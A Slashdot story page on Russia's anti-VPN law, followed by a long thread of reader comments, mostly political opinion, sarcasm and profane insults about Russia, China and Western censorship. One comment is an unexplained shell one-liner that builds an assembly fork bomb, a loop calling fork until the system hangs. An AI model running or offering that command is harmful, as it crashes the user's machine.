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Russia's Anti-VPN Law Goes Into Effect (theregister.co.uk)
An anonymous reader quotes a report from The Register: A Russian law that bans the use or provision of virtual private networks (VPNs) will come into effect Wednesday. The legislation will require ISPs to block websites that offer VPNs and similar proxy services that are used by millions of Russians to circumvent state-imposed internet censorship. It was signed by President Vladimir Putin on July 29 and was justified as a necessary measure to prevent the spread of extremism online. Its real impact, however, will be to make it much harder for ordinary Russians to access websites ISPs are instructed to block connections to by Russian regulator Roskomnadzor, aka the Federal Service for Supervision of Communications, Information Technology and Mass Media. The law is just one part of a concerted effort by the Russian government to restrict access to information online. While Russia does not appear to be going the same route as China -- which has a country wide, constantly maintained censorship apparatus, known as the Great Firewall of China -- it is clearly following its lead. At the same time as Putin signed the VPN legislation, he signed another that will come into effect in January. That law, like a similar one passed by the Chinese government earlier this year, will require operators of messaging services to verify their users' identities through phone numbers. And it will require operators to introduce systems to cut off any users that are deemed by the Russian government to be spreading illegal content.
If we can't use VPN anymore, what else is there for us to use?
Reminds me of the kind of paranoia ancient kings used to have, thinking everyone was out to get them.
Make America great again, by making it more like Russia ! Isn't that why you voted for Putin's little sock puppet for President, little Trump fuckers ?
If Putin does it, it becomes much harder for the EU/US to justify crippling VPNs.
Freedom is a western concept. We Russians prefer to be told what to do.
I am American and even I can see that the USA has been using internet to undermine Russian soverignty for many years. You don't have to far to look to find anti-Putin propaganda, heck the front page of http://slashdot.org/ is almost daily covered in anti-Russia, anti-Putin conspiracy theories. We need more of this kind of thing in our USA.
Basically China has show the way
1) Stop foreign companies operating - ban them, spy on them, drive them out
2) Force people to use domestic companies, and force those domestic companies to censor and spy on people.
3) Ban VPNs so people can't see sources outside the country
Claim it's all to stop 'extremism'.
I remember back in the 90's the left in the US and UK claimed that censorship wouldn't work in China and China would eventually be forced to democratize. Now those same left want US social media companies to clamp down more and more on 'hate speech' which in this case means 'speech they hate'. In the UK people have gone to prison for a Facebook posts.
But hey, at least it's not the government censoring people. Rather it's an unelected oligarchy in tech companies that between them have a monopoly on the means of communication. So it's not violating the First Amendment which means it's fine.
The US and UK of course don't block VPNs, because they don't need to - most VPNs are US based and the NSA can zap 'em with a national security letter if it needs to spy on them. What about foreign companies? Well the US government apparently wanted a US buyer for Skype. Microsoft - which is US based and thus vulnerable to a national security letter - bought it. At which point Microsoft did this
https://en.wikipedia.org/wiki/...
Chinese, Russian and United States law enforcement agencies have the ability to eavesdrop on Skype conversations, as well as have access to Skype users' geographic locations. In many cases, simple request for information is sufficient, and no court approval is needed. This ability was deliberately added by Microsoft after they purchased Skype in 2011 for the law enforcement agencies around the world. This is implemented through switching the Skype client for a particular user account from the client-side encryption to the server-side encryption, allowing dissemination of an unencrypted data stream.
The interesting thing is that when it comes to intelligence cooperation where a company is owned makes a great deal of difference. US companies cooperate with US intelligence. Chinese and Russian ones cooperate with their intelligence agencies. Thus allowing people to use foreign companies is a national security risk. It also runs the risk of political contamination - witness the 'Russians-under-the-bed' paranoia in the US about Russian companies spending a few tens of thousands of dollars during the last US election.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The people must want this or we'd see an uprising which we don't.
I can see the deep thought behind it; just like they killed the Lycos MP3 search engine and napster and gnutella p2p - no one shares files anymore. If you can do that to file sharing why not VPN? -BAN ALL VPNs!
I'm just tunnelling this information via encrypted link end to end. TOTALLY DIFFERENT TO VPN.
Time to start using MAID - encryption via mutli-port-multi-protocol distributed means. VPN is a joke.
Thank you to China for starting this process and for Russia to accelerate it. I hope more countries follow suit.
What's the point anyhow? Putin throws whoever he wants in jail regardless of wrong doing and makes rich people "share" their wealth with him. -call it the loving embrace of a bear.
A 'singular oddity' is an event that cannot be explained and only happens when you are alone.
When Russia enacts laws to censor the internet it's bad (no argument here).
When EU countries do it, suddenly liberals are cheering and it's the best thing ever (because they know these laws are being used to silence their opposition).
Does that mean Edward Snowden will be going to jail?
Well, we had a good run, 30 years or so for the old-fashioned global internet. But having that much information available is simply too threatening to powerful people. We the commoners are supposed to keep our heads down and do their work for them, not crowdsource cases of corruption and essentially solve them, nor correctly point out where the ruling class is totally full of shit.
Right now, all of that is happening on Youtube/Facebook/Twitter/etc. Trump's election was a severe shock not just to American elites but to ruling classes the world over. The writing on the wall is clear: if you want to remain ruling class, don't let the proles know the real story. Youtube is ruthlessly demonetizing, Facebook is censoring, Twitter is deleting accounts and governments are blocking off the outside world. The future will be national networks with limited access to the outside, like China's today. In February a VPN ban will go into effect in China and that will be the end of that. So there will be a Chinese network, a Russian network, and increasingly fragmented networks the world over that don't really connect to each other. Good try internet, you did some good there for a while, but you were just too threatening to allow to continue to exist.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
Whereas the "Great Firewall of China" may be considered a tragedy, Roskomnadzor's efforts are the proverbial farce that follows: the agency has blocked itself — apparently, on more than one occasion...
In Soviet Washington the swamp drains you.
First, see what kind of social and economic mischief you can carry out in the West by way of "anonymous" activity on the Internet - do it cheap, like get kids to help out, and take note how hard it is to trace back to the culprit.
(in parallel, see how much actual damage can be carried out, using Ukraine as a guinea-pig).
Next, notice well it all worked, beyond all reasonable expectations, even to the extent of swaying elections of public officials in the U.S. (they're holding Congressional hearings about us!), and encouraging open revolt against the state and inflaming street unrest.
Third, in view of the fact that Russian officials do not tolerate street unrest and open revolt against the state, conclude that this "research experiment" has proven without question that the Internet is a danger to the Motherland and its beloved leader, Valdimir Putin.
Fourth and finally, take pre-emptive action based on this valuable research to crush this threat and make sure it don't never happen here (Russian military take note... could be useful someday; continue research).
P.S.: President Xi says to Putin in his heavy Chinese accent, "way ahead of you."
P.P.S.: Kim Jong-un says it was all my idea.
Take it easy, Charlie, I've got an Angle...
That's censorship of course. But unfortunately not enough people have the technical awareness to mass protest (unlike if it was soda, or Nutella).
Slashdot, fix the reply notifications... You won't get away with it...
I don't think blanket blocks like the Chinese Great Firewall are really the Russian way of doing things. I think they'd rather let you access everything, and just modify the content in subtle ways so that you believe you're reading the truth when in fact you're not.
Right wants 'anti-patriotic', pro-lgbt, pro-abortion, anti-religion (specifically Judaism and Christianity, all others can STFU), and 'terrorist' speech limited.
Yay, The People.
How is it, that somehow, ALL countries follow the exact same program towards totalitarian control?
Not just "the enemy", aka China, North Korea, Russia, etc
Not just the USA & Five Eyes & Israel
But all European countries, be it EU vassals or ex-“communist” vassals.
And Saudi Arabia etc anyway.
How can this be, without some conspiring? Is this what they discuss at the UN? Or is it just due to the internationalness of corporations that don't care about borders in their influence?
I'm sure russian hackers will continue to use VPN when they attack other countries...
There are two poltical sides there. One is 100% Russia puppets. The other is 100% US puppets.
And, fun fact, the US one is the one with the Swoboda, which are so much literal Nazis, that their party leader, has been seen in public, doing the Hitler salute.
Not that the Russian side is and better. Just with a vastly smaller Budget, of course. An effectively used one, though.
Backwards assholes.
God bless America. =)
The subject says it all.
That's what Putin wants, and if you can't believe that at this point in time then you're either not paying attention or your powers of denial are wizard-level strong. Putin wants to bring back the Soviet Union, resurrected in his own image, and denying his own citizens as much free access to the Internet outside of Russia proper is just one item on his to-do list.
Read the comments and you'll see how even the usual suspects can't take this story and use it to demonise Russia, as Slashdot's owners hoped. The fall of the Internet is clearly an outcome of neo-liberal attacks on real freedom of speech, as Operation Snowflake defines free speech as anything that co-incides with the current opinions of the leaders of the main neo-liberal movements. All other speech, by 'definition' is 'criminal' and thus must be banned.
Debate has been declared to be a tool of the nazis- since obviously every argument has only one 'right' side- namely whatever Team Clinton says is correct.
This is the main problem of Animal Farm and 1984 tactics. While the police state of Clinton and Blair may make atonishing progress, even the dumbos who think the fake left is a good thing still feel the chill of police state methods down their (jellyfish) spines. Telling off Russia for banning VPNs is the old "taking the speck of sawdust out of the eye of the stranger while ignoring the plank in your own".
The owners of Slashdot use the methods of soviet propaganda here- and all too often it is too much for even the worst and thickest left-wing dribblers to swallow.
Good night Glasnost and Perestroika, its been a slice. Let the USSR meming begin.
I think it says more about the threat of that than the Putin Bad narrative.
... so I don't give a flying fuck.
Interesting to know, but of little value to me, otherwise.
It little behooves the best of us to comment on the rest of us.
I can't wait for his own people to hang him. Every Russian I know hates his guts.
When governments block commercial VPNs, they push people into more extreme technologies like Tor and I2P. Expect to see a surge in their use.
>I remember back in the 90's the left in the US and UK claimed that censorship wouldn't work in China and China would eventually be forced to democratize.
Riiiiiight. It was the LEFT urging trade tgat destroyed Anerucan jobs for increases profits to the 1%.
Youre so fucked even your own brain lies to you. SAD.
All the Russian girls on Chaturbate had their webcam feeds drop at the same time when the VPN blocking went into effect. I watched it happen in real-time. Webcam girls are the #1 users of vpn services to prevent stalkers from finding their real location.
After all, a majority voted that dictator and criminal into office....multiple times! So quit whining or step up and vote that entire group of thugs out. Although, it might need some different actions than participating at an election with stuffed ballot boxes and falsified results....like the Krim vote.
Their short human lives will be over soon and their legal precedence will die with them.
This is beyond corruption. It's Russian.
Fuck you, Big Brother. Just - fuck you!
Self-importance and self-indulgence is the root of ALL evil.